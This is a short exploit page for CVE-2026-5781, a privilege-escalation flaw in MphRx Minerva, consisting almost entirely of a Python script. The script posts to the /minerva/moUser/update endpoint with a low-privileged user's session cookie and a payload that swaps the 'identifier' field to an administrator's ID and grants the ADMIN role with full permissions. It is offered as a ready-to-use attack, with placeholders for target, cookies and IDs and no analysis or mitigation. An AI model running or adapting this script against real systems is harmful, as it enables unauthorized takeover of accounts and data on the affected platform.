CVE-2026-5781 MphRx Minerva权限提升漏洞

import requests # Exploit Title: MphRx Minerva Privilege Escalation (CVE-2026-5781) # Description: Exploit the authorization bypass in /minerva/moUser/update target_url = "https://target-host.com/minerva/moUser/update" # Attacker's session cookie (low privileged user with user modification rights) attacker_cookies = { "JSESSIONID": "low_privileged_session_id_here", "auth_token": "valid_token_here" } # Malicious payload: The 'identifier' is changed to an Admin's User ID # The attacker attempts to update the admin's profile or assign admin rights to themselves payload = { "identifier": "admin_user_id_here", # The vulnerable field that is manipulated "role": "ADMIN", "permissions": ["READ", "WRITE", "DELETE", "ADMIN_ACCESS"], "username": "attacker_username" } try: response = requests.post(target_url, json=payload, cookies=attacker_cookies, verify=False) if response.status_code == 200: print("[+] Exploit successful! Privileges escalated.") print("[+] Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")